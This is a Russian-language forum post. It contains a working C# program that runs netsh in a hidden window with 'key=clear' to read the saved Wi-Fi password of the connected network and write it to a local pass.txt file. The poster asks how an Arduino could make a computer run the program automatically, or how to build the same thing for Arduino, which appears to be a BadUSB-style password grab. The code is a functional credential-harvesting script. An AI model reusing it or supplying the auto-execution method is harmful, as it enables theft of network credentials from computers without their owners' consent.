Доброго времени суток, у меня есть программка на C#. Код:
using System;
using System.IO;
using System.Diagnostics;
using Microsoft.WindowsAPICodePack.Net;
namespace MathematicsTest
{
class Program
{
static string GetConnectedWifi(string command)
{
Process processWifi = new Process();
processWifi.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processWifi.StartInfo.FileName = "netsh";
processWifi.StartInfo.Arguments = command;
processWifi.StartInfo.UseShellExecute = false;
processWifi.StartInfo.RedirectStandardError = true;
processWifi.StartInfo.RedirectStandardInput = true;
processWifi.StartInfo.RedirectStandardOutput = true;
processWifi.StartInfo.CreateNoWindow = true;
processWifi.Start();
string output = processWifi.StandardOutput.ReadToEnd();
string err = processWifi.StandardError.ReadToEnd();
processWifi.WaitForExit();
return output;
}
static void Main(string[] args)
{
Microsoft.VisualBasic.Devices.Network net = new Microsoft.VisualBasic.Devices.Network();
// Если комп не подключен к сети то бросается exception
if (!net.IsAvailable)
throw new Exception("ERROR");
string path = Directory.GetCurrentDirectory() + @"\pass.txt";
FileStream file = new FileStream(path, FileMode.OpenOrCreate);
StreamWriter writer = new StreamWriter(file);
var networks = NetworkListManager.GetNetworks(NetworkConnectivityLevels.Connected);
foreach (Network network in networks)
{
string wifies = GetConnectedWifi($"wlan show profiles name=\"{network.Name}\" key=clear");
wifies = wifies.Remove(0, wifies.IndexOf("Содержимое ключа"));
writer.WriteLine("==========================================Password");
writer.Write(wifies);
writer.Close();
file.Close();
}
}
}
}
Вкратце: эта программа записывает в .txt файл с помощью netsh содержимое ключа сети, к которой подключен комп.
Я понимаю, что ардуино не может запустить .exe файл, так может можно сделать так, чтобы компьютер сам запустил эту программу.
Если это реализовать невозможно, то прошу подсказать, как похожую программу сделать на языке ардуино.